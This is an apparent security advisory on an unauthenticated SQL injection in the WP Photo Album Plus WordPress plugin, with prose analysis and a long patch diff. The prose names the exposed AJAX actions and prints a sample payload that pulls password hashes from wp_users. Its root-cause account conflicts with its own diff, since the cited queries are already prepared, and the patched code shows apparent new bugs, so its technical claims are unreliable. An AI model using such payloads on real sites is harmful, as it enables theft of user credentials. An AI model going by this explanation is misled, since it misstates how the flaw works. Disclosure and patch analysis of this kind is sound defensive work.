Published : June 28, 2026

CVE-2026-54829: WP Photo Album Plus <= 9.1.13.005 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 9.1.13.005
Patched Version 9.2.01.001
Disclosed June 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-54829:
WP Photo Album Plus versions up to and including 9.1.13.005 contain an unauthenticated SQL injection vulnerability. The vulnerability stems from insufficient input sanitization and the use of custom wrapper functions (wppa_get_results, wppa_get_var, wppa_get_row, wppa_get_col, wppa_query) that execute unsanitized SQL queries. An attacker can inject malicious SQL into database queries via user-supplied parameters, leading to data extraction, modification, or deletion. The CVSS score is 7.5 (HIGH).

The root cause is the plugin’s reliance on custom database abstraction functions (wppa_get_results, wppa_get_var, wppa_get_row) that accepted raw SQL query strings without proper parameterization. These functions were used extensively across multiple files, including wppa-ajax.php, wppa-admin-functions.php, wppa-admin.php, and others. For example, in wppa-ajax.php (line ~263), the code built a query using $wpdb->prepare with user-supplied parameters but passed it to wppa_get_results instead of $wpdb->get_results. The wrapper functions did not apply additional escaping or prepared statement protections. The patch replaces all calls to these custom wrapper functions with direct calls to WordPress’s $wpdb->get_results, $wpdb->get_var, $wpdb->get_row, and $wpdb->get_col methods. This ensures that all user-supplied data is properly handled by $wpdb’s built-in parameterization and escaping mechanisms.

An unauthenticated attacker can exploit this vulnerability by sending crafted POST requests to /wp-admin/admin-ajax.php with specific action parameters. The vulnerable AJAX actions include (but are not limited to) ‘wppa_iptc_data’ and ‘wppa_exif_data’. These handlers accept parameters like ‘tag’ which are directly incorporated into SQL queries without proper sanitization. For example, an attacker can set action=wppa_iptc_data with a malicious ‘tag’ value containing SQL injection payloads such as ‘ OR ‘1’=’1′ UNION SELECT user_pass FROM wp_users–. The request does not require authentication or a valid nonce.

The patch replaces all calls to plugin-specific wrapper functions (wppa_get_results, wppa_get_var, wppa_get_row, wppa_get_col, wppa_query) with direct calls to WordPress’s $wpdb methods. For example, wppa_get_results($query) becomes $wpdb->get_results($query, ARRAY_A). Additionally, prepared statements already in use (via $wpdb->prepare) now bypass the wrapper and directly execute through $wpdb->get_results. This ensures WordPress’s built-in SQL injection prevention (prepared statements and input escaping) is applied to all queries. The wrapper functions originally accepted pre-built SQL strings without additional validation, meaning any unsanitized input within those strings could reach the database.

Successful exploitation allows an unauthenticated attacker to read arbitrary data from the WordPress database. This includes sensitive information such as user credentials (hashed passwords), email addresses, session tokens, and other user metadata. The attacker can also modify or delete database records, potentially leading to complete site compromise. The attacker can enumerate users, extract password hashes for offline cracking, or perform privilege escalation. They can also remove security-related database entries, further weakening the site’s defenses.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-photo-album-plus/blocks/common/index.php
+++ b/wp-photo-album-plus/blocks/common/index.php
@@ -2,7 +2,7 @@
 /**
  * WPPA common block functions
  *
- * Version: 8.7.02.002
+ * Version: 9.2.01.001
  */

 if ( ! defined( 'ABSPATH' ) ) exit();
@@ -19,8 +19,7 @@
 	/* Make the album list  wppaAlbumList */
 	{
 		// Get all album names and ids
-		$query  = "SELECT id, name FROM $wpdb->wppa_albums";
-		$albums = wppa_get_results( $query );
+		$albums = $wpdb->get_results( "SELECT id, name FROM $wpdb->wppa_albums", ARRAY_A );

 		// Add paths
 		$albums = wppa_add_paths( $albums );
@@ -41,8 +40,7 @@
 	/* Make the photo list  wppaPhotoList */
 	{
 		// Get the first 250 photo names and ids
-		$query  = "SELECT id, name FROM $wpdb->wppa_photos ORDER BY timestamp DESC LIMIT 250";
-		$photos = wppa_get_results( $query );
+		$photos = $wpdb->get_results( "SELECT id, name FROM $wpdb->wppa_photos ORDER BY timestamp DESC LIMIT 250", ARRAY_A );

 		// Sort
 		$photos = wppa_array_sort( $photos, 'name' );
--- a/wp-photo-album-plus/wppa-admin-functions.php
+++ b/wp-photo-album-plus/wppa-admin-functions.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * gp admin functions
-* Version: 9.1.09.003
+* Version: 9.2.01.001
 *
 */

@@ -129,8 +129,7 @@
 	// Find the album( s ) if any
 	if ( ! $alb && ! $pid ) {
 		$start_time = wppa_get_option( 'wppa_remake_start', 0 );
-		$query = "SELECT id FROM $wpdb->wppa_albums";
-		$albums = wppa_get_results( $query );
+		$albums = $wpdb->get_results( "SELECT id FROM $wpdb->wppa_albums", ARRAY_A );
 	}
 	elseif ( $alb ) {
 		$start_time = wppa_get_option( 'wppa_remake_start_album_'.$alb, 0 );
@@ -146,11 +145,8 @@
 			if ( $files ) foreach ( $files as $file ) {
 				if ( ! wppa_is_dir( $file ) ) {
 					$filename = basename( $file );
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE filename = %s OR filename = %s OR ( filename = '' AND name = %s )",
-											 $filename,
-											 wppa_strip_ext( $filename ) . '.xxx',	// May be a multimedia iten
-											 $filename );
-					$photos = wppa_get_results( $query );
+					$photos = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE filename = %s OR filename = %s OR ( filename = '' AND name = %s )",
+																  $filename, wppa_strip_ext( $filename ) . '.xxx', $filename ), ARRAY_A );

 					if ( $photos ) foreach ( $photos as $photo ) {	// Photo exists
 						$modified_time = $photo['modified'];
@@ -178,8 +174,7 @@

 	// Do it with a single photo
 	elseif ( $pid ) {
-		$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE id = %s", $pid );
-		$photo = wppa_get_row( $query );
+		$photo = wppa_cache_photo( $pid );
 		if ( $photo ) {
 			$file = wppa_get_o1_source_path( $photo['id'] );
 			if ( ! wppa_is_file( $file ) ) {
@@ -258,8 +253,7 @@

 	$err = '2';
 	// Find photo details
-	$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE id = %s", $photoid );
-	$photo = wppa_get_row( $query );
+	$photo = wppa_cache_photo( $photoid );
 	if ( ! $photo ) return $err;

 	$albumfrom 	= $photo['album'];
@@ -373,8 +367,7 @@
 function wppa_copy_exif( $fromphoto, $tophoto ) {
 global $wpdb;

-	$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_exif WHERE photo = %d", $fromphoto );
-	$exiflines = wppa_get_results( $query );
+	$exiflines = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_exif WHERE photo = %d", $fromphoto ), ARRAY_A );
 	if ( $exiflines ) foreach ( $exiflines as $line ) {
 		$bret = wppa_create_exif_entry( array( 'photo' => $tophoto, 'tag' => $line['tag'], 'description' => $line['description'], 'status' => $line['status'] ) );
 	}
@@ -382,8 +375,7 @@
 function wppa_copy_iptc( $fromphoto, $tophoto ) {
 global $wpdb;

-	$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_iptc WHERE photo = %d", $fromphoto );
-	$iptclines = wppa_get_results( $query );
+	$iptclines = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_iptc WHERE photo = %d", $fromphoto ), ARRAY_A );
 	if ( $iptclines ) foreach ( $iptclines as $line ) {
 		$bret = wppa_create_iptc_entry( array( 'photo' => $tophoto, 'tag' => $line['tag'], 'description' => $line['description'], 'status' => $line['status'] ) );
 	}
@@ -398,8 +390,7 @@

 	// Get the ext
 	$err = '2';
-	$query = $wpdb->prepare( "SELECT ext FROM $wpdb->wppa_photos WHERE id = %d", $id );
-	$ext = wppa_get_var( $query );
+	$ext = $wpdb->get_var( $wpdb->prepare( "SELECT ext FROM $wpdb->wppa_photos WHERE id = %d", $id ) );
 	if ( ! $ext ) return $err;

 	// Get the image
@@ -560,8 +551,7 @@
 function wppa_update_single_photo( $file, $id, $name, $nothumb = false ) {
 global $wpdb;

-	$query = $wpdb->prepare( "SELECT id, name, ext, album, filename FROM $wpdb->wppa_photos WHERE id = %s", $id );
-	$photo = wppa_get_row( $query );
+	$photo = $wpdb->get_row( $wpdb->prepare( "SELECT id, name, ext, album, filename FROM $wpdb->wppa_photos WHERE id = %s", $id ), ARRAY_A );

 	// Find extension
 	$ext = $photo['ext'];
@@ -603,29 +593,27 @@

 	// If alb given, get the entry
 	if ( $alb ) {
-		$query = $wpdb->prepare(
+		$photos = $wpdb->get_results( $wpdb->prepare(
 				"SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND (filename = %s OR filename = %s OR ( filename = '' AND name = %s ) OR ( filename = %s ) )",
 				$alb,
 				wppa_sanitize_file_name( basename( $file ) ),								// Usual
 				$name,																		// Filename is different in is_wppa_tree import
 				$name,																		// Old; pre saving filenames
 				wppa_strip_ext( wppa_sanitize_file_name( basename( $file ) ) ) . '.xxx'		// Media poster file
-			);
+			), ARRAY_A );
 	}

 	// Find photo entries that apply to the supplied filename
 	else {
-		$query = $wpdb->prepare(
+		$photos = $wpdb->get_results( $wpdb->prepare(
 				"SELECT * FROM $wpdb->wppa_photos WHERE filename = %s OR filename = %s OR ( filename = '' AND name = %s ) OR ( filename = %s )",
 				wppa_sanitize_file_name( basename( $file ) ),								// Usual
 				$name,																		// Filename is different in is_wppa_tree import
 				$name,																		// Old; pre saving filenames
 				wppa_strip_ext( wppa_sanitize_file_name( basename( $file ) ) ) . '.xxx'		// Media poster file
-			);
+			), ARRAY_A );
 	}

-	$photos = wppa_get_results( $query );
-
 	// If photo entries found, process them all
 	if ( $photos ) {
 		foreach ( $photos as $photo ) {
@@ -896,8 +884,7 @@
 	$result = '';

 	// Get the fieldnames
-	$query = "DESCRIBE $table";
-	$fields = wppa_get_results( $query );
+	$fields = $wpdb->get_results( "DESCRIBE $table", ARRAY_A );

 	// Write the .csv header
 	if ( is_array( $fields ) ) {
@@ -909,15 +896,13 @@
 	wppa_fwrite( $file, $result );

 	// Init getting the data
-	$query = "SELECT COUNT(*) FROM $table";
-	$count = wppa_get_var( $query );
+	$count = $wpdb->get_var( "SELECT COUNT(*) FROM $table" );
 	$iters = ceil( $count / 1000 );
 	$iter  = 0;

 	// Read chunks of 1000 rows
 	while ( $iter < $iters ) {
-		$query = "SELECT * FROM $table ORDER BY id LIMIT " . 1000 * $iter . ",1000";
-		$data  = wppa_get_results( $query, ARRAY_N );
+		$data  = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM %i ORDER BY id LIMIT %d %d", $table, 1000 * $iter, 1000 ), ARRAY_N );

 		// Process rows
 		if ( $data ) {
@@ -940,16 +925,11 @@
 function wppa_album_admin_footer() {
 global $wpdb;

-	$query 			= "SELECT COUNT(*) FROM $wpdb->wppa_albums";
-	$albcount 		= wppa_get_var( $query );
-	$query 			= "SELECT COUNT(*) FROM $wpdb->wppa_albums WHERE a_parent = 0";
-	$topalbumcount 	= wppa_get_var( $query );
-	$query 			= "SELECT COUNT(*) FROM $wpdb->wppa_photos";
-	$photocount 	= wppa_get_var( $query );
-	$query 			= "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE status = 'pending'";
-	$pendingcount 	= wppa_get_var( $query );
-	$query 			= "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE status = 'scheduled'";
-	$schedulecount 	= wppa_get_var( $query );
+	$albcount 		= $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_albums" );
+	$topalbumcount 	= $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_albums WHERE a_parent = 0" );
+	$photocount 	= $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_photos" );
+	$pendingcount 	= $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE status = 'pending'" );
+	$schedulecount 	= $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE status = 'scheduled'" );

 	$result = '
 	<div style="clear:both;display:block">' .
@@ -967,14 +947,12 @@
 			$result .= sprintf( __( '<strong>%d</strong> items are scheduled for later publishing.', 'wp-photo-album-plus' ), $pendingcount ) . '<br>';
 		}

-		$query 		= "SELECT id, name FROM $wpdb->wppa_albums ORDER BY id DESC LIMIT 1";
-		$lastalbum 	= wppa_get_row( $query );
+		$lastalbum 	= $wpdb->get_row( "SELECT id, name FROM $wpdb->wppa_albums ORDER BY id DESC LIMIT 1", ARRAY_A );
 		if ( $lastalbum ) {
 			/* translators: name of album, id of album */
 			$result .= '<br>' . sprintf( __( 'The most recently added album is <strong>%1$s</strong> (%2$d).', 'wp-photo-album-plus' ), esc_html( stripslashes( $lastalbum['name'] ) ), $lastalbum['id'] );
 		}
-		$query 		= "SELECT id, name, album FROM $wpdb->wppa_photos ORDER BY timestamp DESC LIMIT 1";
-		$lastphoto 	= wppa_get_row( $query );
+		$lastphoto 	= $wpdb->get_row( "SELECT id, name, album FROM $wpdb->wppa_photos ORDER BY timestamp DESC LIMIT 1", ARRAY_A );
 		if ( ! $lastphoto ) {
 			$result .= '<br>' . __( 'There are no items yet', 'wp-photo-album-plus' );
 			return $result;
@@ -988,8 +966,7 @@
 			$album = $lastphoto['album'];
 		}

-		$query = $wpdb->prepare( "SELECT id, name FROM $wpdb->wppa_albums WHERE id = %s", $album );
-		$lastphotoalbum = wppa_get_row( $query );
+		$lastphotoalbum = $wpdb->get_row( $wpdb->prepare( "SELECT id, name FROM $wpdb->wppa_albums WHERE id = %s", $album ), ARRAY_A );
 		if ( $lastphoto ) {
 			/* translators: name of item, id of item */
 			$result .= '<br>' . sprintf( __( 'The most recently added item is <strong>%1$s</strong> (%2$d)', 'wp-photo-album-plus' ), sanitize_text_field( $lastphoto['name'] ), $lastphoto['id'] );
@@ -1453,8 +1430,7 @@
 		$name 		= wppa_get_photo_name( $id );
 		$album_name = $name ? $name : wppa_strip_ext( wppa_get_photo_item( $id, 'filename' ) );
 		$parent 	= wppa_get_photo_item( $id, 'album' );
-		$query 		= $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE name = %s AND a_parent = %d LIMIT 1", $name, $parent );
-		$alb 		= wppa_get_var( $query );
+		$alb 		= $wpdb->get_var( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE name = %s AND a_parent = %d LIMIT 1", $name, $parent ) );
 		$result['album'] = $alb;
 	}
 	$result['crashed'] =
--- a/wp-photo-album-plus/wppa-admin-local-js.php
+++ b/wp-photo-album-plus/wppa-admin-local-js.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * local js code for admin pages
-* Version 9.1.12.001
+* Version 9.2.01.001
 *
 */

@@ -1187,7 +1187,8 @@
 											var seqno = potddata.seqno;
 												jQuery("#potdseqno").html(seqno);
 											var preview  = potddata.preview;
-												jQuery("#potdpreview").html(preview);
+			console.log(preview);
+												jQuery("#preview").html(preview);
 											var pool     = potddata.pool;
 												jQuery("#potd-pool").html(pool);
 										}
--- a/wp-photo-album-plus/wppa-admin.php
+++ b/wp-photo-album-plus/wppa-admin.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains the admin menu and startups the admin pages
-* Version: 9.1.13.004
+* Version: 9.2.01.001
 *
 */

@@ -37,14 +37,12 @@

 	// See if there are comments pending moderation
 	$com_pending = '';
-	$query = "SELECT COUNT(*) FROM $wpdb->wppa_comments WHERE status = 'pending' OR status = 'spam' OR status = ''";
-	$com_pending_count = wppa_get_var( $query );
+	$com_pending_count = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_comments WHERE status IN ('pending', 'spam', '')" );
 	if ( $com_pending_count ) $com_pending = '<span class="update-plugins"><span class="plugin-count">' . $com_pending_count . '</span></span>';

 	// See if there are uploads pending moderation
 	$upl_pending = '';
-	$query = "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE status = 'pending' AND album > 0";
-	$upl_pending_count = wppa_get_var( $query );
+	$upl_pending_count = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE status = 'pending' AND album > 0" );
 	if ( $upl_pending_count ) $upl_pending = '<span class="update-plugins"><span class="plugin-count">' . $upl_pending_count . '</span></span>';

 	// Compute total pending moderation
@@ -537,19 +535,16 @@
 		$user = get_user_by( 'ID', $user_id );
 		$user_login = $user->user_login;

-		$query = $wpdb->prepare( "SELECT id FROM $wpdb->wppa_photos WHERE owner = %s", $user_login );
-		$photos = wppa_get_col( $query );
+		$photos = $wpdb->get_col( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_photos WHERE owner = %s", $user_login ) );
 		if ( $photos ) foreach( $photos as $photo ) {
 			wppa_delete_photo( $photo );
 		}

-		$query = $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE owner = %s", $user_login );
-		$albums = wppa_get_col( $query );
+		$albums = $wpdb->get_col( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE owner = %s", $user_login ) );
 		if ( $albums ) foreach( $albums as $album ) {

 			// If album is empty: remove it
-			$query = "SELECT COUNT (*) FROM WPPA_PHOTOS WHERE album = $album";
-			$is_empty = ( 0 == wppa_get_var( $query ) );
+			$is_empty = ( 0 == $wpdb->get_var( $wpdb->prepare( "SELECT COUNT (*) FROM WPPA_PHOTOS WHERE album = %d", $album ) ) );
 			if ( $is_empty ) {
 				wppa_del_row( WPPA_ALBUMS, 'id', $album );
 			}
--- a/wp-photo-album-plus/wppa-adminbar.php
+++ b/wp-photo-album-plus/wppa-adminbar.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * enhances the admin bar with wppa+ menu
-* Version 9.0.00.000
+* Version 9.2.01.001
 *
 */

@@ -12,22 +12,20 @@
 add_action( 'admin_bar_menu', 'wppa_admin_bar_menu', 97 );

 function wppa_admin_bar_menu() {
-	global $wp_admin_bar;
-	global $wpdb;
+global $wp_admin_bar;
+global $wpdb;

 	$wppaplus = 'wppa-admin-bar';

 	$menu_items = array();

 	// Pending comments
-	$query = "SELECT COUNT(*) FROM $wpdb->wppa_comments WHERE status = 'pending'";
-	$com_pend = wppa_get_var( $query );
+	$com_pend = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_comments WHERE status = 'pending'" );
 	if ( $com_pend ) $com_pending = ' <span id="ab-awaiting-mod" class="pending-count">'.$com_pend.'</span>';
 	else $com_pending = '';

 	// Pending uploads
-	$query = "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE status = 'pending' AND album > 0";
-	$upl_pend = wppa_get_var( $query );
+	$upl_pend = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE status = 'pending' AND album > 0" );
 	if ( $upl_pend ) $upl_pending = ' <span id="ab-awaiting-mod" class="pending-count">'.$upl_pend.'</span>';
 	else $upl_pending = '';

--- a/wp-photo-album-plus/wppa-ajax.php
+++ b/wp-photo-album-plus/wppa-ajax.php
@@ -2,7 +2,7 @@
 /* wppa-ajax.php
 *
 * Functions used in ajax requests
-* Version: 9.1.13.004
+* Version: 9.2.01.001
 *
 */

@@ -263,8 +263,7 @@
 					}
 				}
 			}
-			$query 		= $wpdb->prepare( "SELECT DISTINCT description FROM $wpdb->wppa_iptc WHERE photo > 0 AND tag = %s ORDER BY description", $tag );
-			$iptcdata 	= wppa_get_results( $query );
+			$iptcdata 	= $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT description FROM $wpdb->wppa_iptc WHERE photo > 0 AND tag = %s ORDER BY description", $tag ), ARRAY_A );
 			$last 		= '';
 			$any 		= false;
 			$result 	= '';
@@ -288,8 +287,7 @@
 				}
 			}
 			if ( ! $any ) {
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_iptc SET status = 'hide' WHERE photo = 0 AND tag = %s", $tag );
-				wppa_query( $query );
+				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_iptc SET status = 'hide' WHERE photo = 0 AND tag = %s", $tag ) );
 			}
 			wppa_echo( wp_json_encode( ['txt' => $result] ) );
 			wppa_exit();
@@ -330,23 +328,12 @@
 			}

 			if ( $brand ) {
-				$query = $wpdb->prepare( "SELECT DISTINCT f_description
-										 FROM $wpdb->wppa_exif
-										 WHERE photo > 0
-										 AND tag = %s
-										 AND brand = %s
-										 AND f_description <> ''
-										 ORDER BY f_description", $tag, $brand );
-				$exifdata = wppa_get_results( $query );
+				$exifdata = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT f_description FROM $wpdb->wppa_exif WHERE photo > 0 AND tag = %s
+					AND brand = %s AND f_description <> '' ORDER BY f_description", $tag, $brand ), ARRAY_A );
 			}
 			else {
-				$query = $wpdb->prepare( "SELECT DISTINCT f_description
-										 FROM $wpdb->wppa_exif
-										 WHERE photo > 0
-										 AND tag = %s
-										 AND f_description <> ''
-										 ORDER BY f_description", $tag );
-				$exifdata = wppa_get_results( $query );
+				$exifdata = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT f_description FROM $wpdb->wppa_exif WHERE photo > 0 AND tag = %s
+					AND f_description <> '' ORDER BY f_description", $tag ), ARRAY_A );
 			}

 			// Make the data sortable.
@@ -408,11 +395,7 @@

 			// Cleanup possible unused label
 			if ( ! $any ) {
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_exif
-										  SET status = 'hide'
-										  WHERE photo = 0
-										  AND tag = %s", $tag );
-				wppa_query( $query );
+				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_exif SET status = 'hide' WHERE photo = 0 AND tag = %s", $tag ) );
 			}
 			wppa_echo( wp_json_encode( ['txt' => $result] ) );
 			wppa_exit();
@@ -574,9 +557,7 @@
 				$comment = wppa_get( 'comment', '', 'html' );

 				// Update comment in db
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_comments SET comment = %s WHERE id = %d", $comment, $comid );
-				wppa_log('misc', $query);
-				wppa_query( $query );
+				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_comments SET comment = %s WHERE id = %d", $comment, $comid ) );

 				// Return sanitized text
 				wppa_echo( wp_json_encode( ['txt' => $comment] ) );
@@ -669,8 +650,7 @@
 				$iret = wppa_update_photo( $pid, ['status' => 'publish'] );
 				if ( $iret ) {
 					wppa_flush_upldr_cache( 'photoid', $pid );
-					$query = $wpdb->prepare( "SELECT album FROM $wpdb->wppa_photos WHERE id = %d", $pid );
-					$alb = wppa_get_var( $query );
+					$alb = $wpdb->get_var( $wpdb->prepare( "SELECT album FROM $wpdb->wppa_photos WHERE id = %d", $pid ) );
 					wppa_clear_taglist();
 					wppa_invalidate_treecounts( $alb );
 					wppa_schedule_mailinglist( 'photoapproved', $alb, $pid );
@@ -738,8 +718,7 @@
 				}

 				else {
-					$query = $wpdb->prepare( "SELECT photo FROM $wpdb->wppa_comments WHERE id = %d", $cid );
-					$photo = wppa_get_var( $query );
+					$photo = $wpdb->get_var( $wpdb->prepare( "SELECT photo FROM $wpdb->wppa_comments WHERE id = %d", $cid ) );

 					$iret = wppa_del_row( WPPA_COMMENTS, 'id', $cid );

@@ -781,8 +760,7 @@
 			$alb = wppa_get( 'album-id' );

 			// Get all items in the album
-			$query = $wpdb->prepare( "SELECT id FROM $wpdb->wppa_photos WHERE album = %d", $alb );
-			$photos = wppa_get_col( $query );
+			$photos = $wpdb->get_col( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_photos WHERE album = %d", $alb ) );

 			// Only visible photos are downloadable
 			if ( is_array( $photos ) ) foreach( array_keys( $photos ) as $i ) {
@@ -939,8 +917,7 @@
 							$zipfile = $zipsdir.wppa_get_user().'.zip';

 							// Find the photo data
-							$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE id = %d", $photo );
-							$data = wppa_get_row( $query );
+							$data = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE id = %d", $photo ), ARRAY_A );

 							// Find the photo file
 							if ( wppa_is_file ( wppa_get_source_path( $photo ) ) ) {
@@ -1007,8 +984,7 @@
 				$zipfile = $zipsdir.wppa_get_user().'.zip';

 				// Find the photo data
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE id = %d", $photo );
-				$data = wppa_get_row( $query );
+				$data = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE id = %d", $photo ), ARRAY_A );

 				// Remove photo from zip
 				$wppa_zip = new ZipArchive;
@@ -1044,8 +1020,7 @@

 			// Remove all User displayname tags
 			$tag = wppa_get_user( 'display' );
-			$query = "SELECT id, tags FROM $wpdb->wppa_photos WHERE tags LIKE '%" . str_replace( "'", "'", ',' . $wpdb->esc_like( $tag ) . ',' ) . "%'";
-			$items = wppa_get_results( $query );
+			$items = $wpdb->get_results( $wpdb->prepare( "SELECT id, tags FROM $wpdb->wppa_photos WHERE tags LIKE %s", '%' . $wpdb->esc_like( $tag ) . "%'" ) );
 			foreach( $items as $item ) {
 				$id = $item['id'];
 				$tags = preg_replace( '/,'.$tag.',/siu', ',', $item['tags'] );
@@ -1123,27 +1098,7 @@
 			wppa_echo( $result );
 			wppa_exit();
 			break;
-/*
-		case 'gutenbergphotodialog':
-			if ( ! current_user_can( 'edit_posts' ) ) {
-				wppa_echo( __( 'No rights', 'wp-photo-album-plus' ) );
-				wppa_exit();
-			}
-			$result = wppa_make_gutenberg_photo_dialog();
-			wppa_echo( $result );
-			wppa_exit();
-			break;

-		case 'gutenbergwppadialog':
-			if ( ! current_user_can( 'edit_posts' ) ) {
-				wppa_echo( __( 'No rights', 'wp-photo-album-plus' ) );
-				wppa_exit();
-			}
-			$result = wppa_make_gutenberg_wppa_dialog();
-			wppa_echo( $result );
-			wppa_exit();
-			break;
-*/
 		case 'getshortcodedrendered':

 			// Used by gutenberg and cover preview in album admin
@@ -1435,28 +1390,17 @@
 			}

 			// Already a pending one?
-			$query = $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_rating
-									  WHERE photo = %d
-									  AND user = %s
-									  AND status = 'pending'", $photo, $user );
-			$pending = wppa_get_var( $query );
+			$pending = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_rating WHERE photo = %d AND user = %s AND status = 'pending'", $photo, $user ) );

 			// Has user motivated his vote?
 			$hascommented = wppa_has_user_commented( $photo );

 			// If the user has commented and comment needs vote is active, publish his comment
 			if ( $hascommented && wppa_switch( 'comment_need_vote' ) ) {
-				$query = $wpdb->prepare( "SELECT id FROM $wpdb->wppa_comments
-										  WHERE photo = %d
-										  AND user = %s", $photo, wppa_get_user( 'display' ) );
-				$comments_to_approve = wppa_get_col( $query );
+				$comments_to_approve = $wpdb->get_col( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_comments WHERE photo = %d AND user = %s", $photo, wppa_get_user( 'display' ) ) );

 				// Set the statusses to approved
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_comments
-										  SET status = 'approved'
-										  WHERE photo = %d
-										  AND user = %s", $photo, wppa_get_user( 'display' ) );
-				wppa_query( $query );
+				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_comments SET status = 'approved' WHERE photo = %d AND user = %s", $photo, wppa_get_user( 'display' ) ) );

 				// Do the points and do the mailing
 				$photo_owner = wppa_get_photo_item( $photo, 'owner' );
@@ -1489,11 +1433,7 @@
 					wppa_exit();
 				}
 				else {
-					$query = $wpdb->prepare( "UPDATE $wpdb->wppa_rating
-										     SET status = 'publish'
-										     WHERE photo = %d
-										     AND user = %s", $photo, $user );
-					wppa_query( $query );
+					$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_rating SET status = 'publish' WHERE photo = %d AND user = %s", $photo, $user ) );
 				}
 			}

@@ -1516,10 +1456,7 @@
 				if ( $mylast ) {

 					// Remove my like
-					$query = $wpdb->prepare( "DELETE FROM $wpdb->wppa_rating
-											  WHERE photo = %d
-											  AND user = %s", $photo, $user );
-					wppa_query( $query );
+					$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->wppa_rating WHERE photo = %d AND user = %s", $photo, $user ) );
 					$myavgrat = 0;
 				}
 				else {
@@ -1602,12 +1539,7 @@

 			// Case 3: I will change my previously given vote
 			elseif ( wppa_switch( 'rating_change' ) ) {					// Votechanging is allowed
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_rating
-										  SET value = %s
-										  WHERE photo = %d
-										  AND user = %s
-										  LIMIT 1", $rating, $photo, $user );
-				$iret = wppa_query( $query );
+				$iret = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_rating SET value = %s WHERE photo = %d AND user = %s LIMIT 1", $rating, $photo, $user ) );

 				wppa_clear_cache( ['photo' => $photo, 'other' => 'R'] );

@@ -1632,11 +1564,7 @@
 			}

 			// Compute my avg rating
-			$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_rating
-									  WHERE photo = %d
-									  AND user = %s
-									  AND status = 'publish'", $photo, $user );
-			$myrats = wppa_get_results( $query );
+			$myrats = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_rating WHERE photo = %d AND user = %s AND status = 'publish'", $photo, $user ) );

 			if ( $myrats ) {
 				$sum = 0;
@@ -1660,10 +1588,7 @@
 			}

 			// Compute new allavgrat
-			$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_rating
-									  WHERE photo = %d
-									  AND status = %s", $photo, 'publish' );
-			$ratings = wppa_get_results( $query );
+			$ratings = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_rating WHERE photo = %d AND status = 'publish'", $photo ), ARRAY_A );
 			if ( $ratings ) {
 				$sum = 0;
 				$cnt = 0;
@@ -1689,10 +1614,7 @@
 			}

 			// Compute rating_count and store in the photo info
-			$query = $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_rating
-									  WHERE photo = %d
-									  AND status = 'publish'", $photo );
-			$ratcount = wppa_get_var( $query );
